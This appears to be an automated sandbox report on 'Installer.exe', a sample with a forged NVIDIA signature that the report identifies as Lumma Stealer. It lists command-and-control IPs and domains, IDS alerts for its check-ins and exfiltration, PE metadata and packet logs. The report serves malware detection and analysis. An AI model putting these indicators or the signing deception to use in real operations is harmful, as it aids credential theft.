Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Installer.exe, PID 7480 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Installer.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.66.86	MV ROCKET_PDA.exe	Get hash	malicious	FormBook	Browse	www.ayushigangwar.com/nqn4/?CJBlp=0Brh6Vr8UbBX&T2MpwT=59bmqUDXor7TXV4b71NCQ0d0nCVif23i1yH5+9ZmJc5hgCU7y+ZN9z0btTsWzGv6OrGw
23.55.153.106	Setup.exe	Get hash	malicious	Unknown	Browse
	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	ForcesLangi.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Leside-.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.66.86
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
steamcommunity.com	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ForcesLangi.exe	Get hash	malicious	LummaC	Browse	92.122.104.90
	Leside-.exe	Get hash	malicious	LummaC	Browse	92.122.104.90
	Setup.exe	Get hash	malicious	Unknown	Browse	104.121.10.34
	Setup.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	Vq50tK1Nx2.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	IzDjbVdHha.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	Setup.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	w22319us3M.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	23.55.153.106
	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	FXdg37pY22.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	grand-theft-auto-5-theme-1-installer_qb8W-j1.exe	Get hash	malicious	Unknown	Browse	184.85.182.130
	k0ukcEH.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	23.55.153.106
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	23.55.153.106
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	23.209.72.25
CLOUDFLARENETUS	phish_alert_iocp_v1.4.48 - 2024-12-27T140703.193.eml	Get hash	malicious	Unknown	Browse	104.18.11.207
	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	104.21.73.97
	NewSetup.exe	Get hash	malicious	LummaC	Browse	172.67.157.249
	ForcesLangi.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	iviewers.dll	Get hash	malicious	LummaC	Browse	104.21.60.24
	http://track.rbfcu.org/y.z?l=https://google.com/amp/s/t.ly/5SpZS&r=14387614172&d=18473&p=2&t=h	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	launcher.exe	Get hash	malicious	LummaC	Browse	104.21.58.80
	Leside-.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	solara-executor.exe	Get hash	malicious	Unknown	Browse	172.67.75.163

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	NewSetup.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	ForcesLangi.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	iviewers.dll	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	launcher.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	Leside-.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	search.hta	Get hash	malicious	Unknown	Browse	104.21.66.86 23.55.153.106
	SET_UP.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.66.86 23.55.153.106

Dropped Files

⊘No context

Created / dropped Files

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\Installer.exe
File Type:	assembler source, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14402
Entropy (8bit):	4.874636730022465
Encrypted:	false
SSDEEP:	384:vlICCmV5fTMzsM3qlICCmV5fTMzsM3ip9guFx2rBhiLfmfU:vGCC+dMOGCC+dMY9guFx2rBo
MD5:	DF0EFD0545733561C6E165770FB3661C
SHA1:	0F3AD477176CF235C6C59EE2EB15D81DCB6178A8
SHA-256:	A434B406E97A2C892FA88C3975D8181EBEA62A8DA919C5221409E425DF50FD17
SHA-512:	3FF527435BC8BCF2640E0B64725CC0DB8A801D912698D4D94C44200529268B80AA7B59A2E2A2EA6C4621E09AA249AAA3583A8D90E4F5D7B68E0E6FFFEB759918
Malicious:	false
Reputation:	low
Preview:	AcquireSRWLockExclusive..AcquireSRWLockShared..ActivateActCtx..ActivateActCtxWorker..AddAtomA..AddAtomW..AddConsoleAliasA..AddConsoleAliasW..AddDllDirectory..AddIntegrityLabelToBoundaryDescriptor..AddLocalAlternateComputerNameA..AddLocalAlternateComputerNameW..AddRefActCtx..AddRefActCtxWorker..AddResourceAttributeAce..AddSIDToBoundaryDescriptor..AddScopedPolicyIDAce..AddSecureMemoryCacheCallback..AddVectoredContinueHandler..AddVectoredExceptionHandler..AdjustCalendarDate..AllocConsole..AllocateUserPhysicalPages..AllocateUserPhysicalPagesNuma..AppPolicyGetClrCompat..AppPolicyGetCreateFileAccess..AppPolicyGetLifecycleManagement..AppPolicyGetMediaFoundationCodecLoading..AppPolicyGetProcessTerminationMethod..AppPolicyGetShowDeveloperDiagnostic..AppPolicyGetThreadInitializationType..AppPolicyGetWindowingModel..AppXGetOSMaxVersionTested..ApplicationRecoveryFinished..ApplicationRecoveryInProgress..AreFileApisANSI..AssignProcessToJobObject..AttachConsole..BackupRead..BackupSeek..BackupWrite..B

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.576095801286095
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Installer.exe
File size:	577'064 bytes
MD5:	0cebf27d0066d6ea5653547254e236e4
SHA1:	badfc5a68c17d2d1112e50ccd8ececeb4f8ba8a9
SHA256:	21d9bba7ae0dfb0892e5345ee42d73e241e0d9841a17ff340f6278e86d8f54f4
SHA512:	5590c096ba88b0e4b5dcb246930853a619216bc8135e799c92c194525299bc8fb6b941dec480d1b293eee6f5e7adc2d663ae483d86c8708d3f9be04fa4180a46
SSDEEP:	12288:+YO6Dqzihouxpa+yWz2qRPmZqaKS6gfb3e82ffYDXCOEO:nO6DThou2+y02TZqa97b3effIXXt
TLSH:	77C4E1123680C0B3D963153759B9C7794A3EF8201F616AC793984BBEDEB06D15F30A6E
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....ng..........................................@..................................\|....@.................................\|j..<..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4104a0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x676E98E6 [Fri Dec 27 12:09:10 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	96d90e8808da099bc17e050394f447e7

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	12/01/2023 19:00:00 16/01/2026 18:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
call 00007EFDFCAE445Ah
jmp 00007EFDFCAE42BDh
mov ecx, dword ptr [0043B680h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007EFDFCAE4456h
test esi, ecx
jne 00007EFDFCAE4478h
call 00007EFDFCAE4481h
mov ecx, eax
cmp ecx, edi
jne 00007EFDFCAE4459h
mov ecx, BB40E64Fh
jmp 00007EFDFCAE4460h
test esi, ecx
jne 00007EFDFCAE445Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [0043B680h], ecx
not ecx
pop edi
mov dword ptr [0043B6C0h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [00436D00h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00436CB8h]
xor dword ptr [ebp-04h], eax
call dword ptr [00436CB4h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [00436D50h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 0043CF48h
call dword ptr [00436D28h]
ret
push 00030000h
push 00010000h
push 00000000h
call 00007EFDFCAEB233h
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x36a7c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8f000	0x3fc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x8a800	0x2628	.bss
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3f000	0x2744	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x32608	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ea98	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x36c3c	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2b4ca	0x2b600	ebf84c6b836020b1a66433a898baeab7	False	0.5443702719740634	data	6.596404756541432	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2d000	0xc50c	0xc600	96e76e7ef084461591b1dcd4c2131f05	False	0.40260022095959597	data	4.741850626178578	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3a000	0x3714	0x2800	d87fd4546a2b39263a028b496b33108f	False	0.29814453125	data	5.024681407682101	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x3e000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x3f000	0x2744	0x2800	c7508b57e36483307c47b7dd73fc0c85	False	0.75166015625	data	6.531416896423856	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x42000	0x4d000	0x4d000	a20e827dffb35f9fff89825936fba1a1	False	1.0003360896915585	data	7.999398974295207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x8f000	0x3fc	0x400	6d588082959117d83b5b94b45915208a	False	0.4423828125	data	3.391431520369637	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x8f058	0x3a4	data	English	United States	0.44849785407725323

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CloseThreadpoolWork, CompareStringW, CreateFileW, CreateThread, CreateThreadpoolWork, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, FreeLibraryWhenCallbackReturns, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetConsoleWindow, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitOnceBeginInitialize, InitOnceComplete, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, SubmitThreadpoolWork, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WaitForSingleObjectEx, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

USER32.dll

ShowWindow

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T23:13:25.610456+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	23.55.153.106	443	TCP
2024-12-27T23:13:26.465709+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49734	23.55.153.106	443	TCP
2024-12-27T23:13:28.309145+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.66.86	443	TCP
2024-12-27T23:13:29.065912+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49735	104.21.66.86	443	TCP
2024-12-27T23:13:29.065912+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49735	104.21.66.86	443	TCP
2024-12-27T23:13:30.378308+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	104.21.66.86	443	TCP
2024-12-27T23:13:31.195519+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49736	104.21.66.86	443	TCP
2024-12-27T23:13:31.195519+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49736	104.21.66.86	443	TCP
2024-12-27T23:13:32.784606+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	104.21.66.86	443	TCP
2024-12-27T23:13:35.188581+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49738	104.21.66.86	443	TCP
2024-12-27T23:13:37.425413+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	104.21.66.86	443	TCP
2024-12-27T23:13:40.144074+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	104.21.66.86	443	TCP
2024-12-27T23:13:40.950937+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49741	104.21.66.86	443	TCP
2024-12-27T23:13:42.627339+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	104.21.66.86	443	TCP
2024-12-27T23:13:46.299504+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49747	104.21.66.86	443	TCP
2024-12-27T23:13:47.067796+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49747	104.21.66.86	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 23:13:24.153023958 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:13:24.153078079 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:24.153157949 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:13:24.162209034 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:13:24.162225962 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:25.610265970 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:25.610455990 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:13:25.614382029 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:13:25.614398956 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:25.614612103 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:25.657922029 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:13:25.663091898 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:13:25.707336903 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:26.465707064 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:26.465727091 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:26.465755939 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:26.465770006 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:26.465799093 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:26.465826035 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:13:26.465847015 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:26.465879917 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:13:26.465902090 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:13:26.652956963 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:26.652997017 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:26.653043985 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:13:26.653055906 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:26.653099060 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:13:26.686541080 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:26.686575890 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:26.686594963 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:26.686626911 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:13:26.686672926 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:13:26.699717999 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:13:26.699736118 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:26.699745893 CET	49734	443	192.168.2.4	23.55.153.106
Dec 27, 2024 23:13:26.699752092 CET	443	49734	23.55.153.106	192.168.2.4
Dec 27, 2024 23:13:26.963068962 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:26.963128090 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:26.963206053 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:26.963522911 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:26.963537931 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:28.309035063 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:28.309144974 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:28.312086105 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:28.312099934 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:28.312310934 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:28.313519955 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:28.313556910 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:28.313589096 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:29.065897942 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:29.066015959 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:29.066081047 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:29.066246033 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:29.066268921 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:29.066289902 CET	49735	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:29.066296101 CET	443	49735	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:29.108685017 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:29.108738899 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:29.108802080 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:29.110729933 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:29.110745907 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:30.378195047 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:30.378308058 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:30.380341053 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:30.380353928 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:30.380682945 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:30.389415979 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:30.389461040 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:30.389506102 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.195503950 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.195558071 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.195578098 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.195600033 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:31.195619106 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.195657015 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:31.203511000 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.211916924 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.211958885 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:31.211966991 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.220247984 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.220290899 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:31.220299006 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.267297983 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:31.267308950 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.314173937 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:31.315484047 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.361057043 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:31.361069918 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.400059938 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.400125980 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:31.400134087 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.400201082 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.400244951 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:31.402642012 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:31.402661085 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.402668953 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:31.402676105 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.525814056 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:31.525862932 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:31.525938988 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:31.526225090 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:13:31.526242971 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:32.784543037 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:13:32.784605980 CET	49737	443	192.168.2.4	104.21.66.86
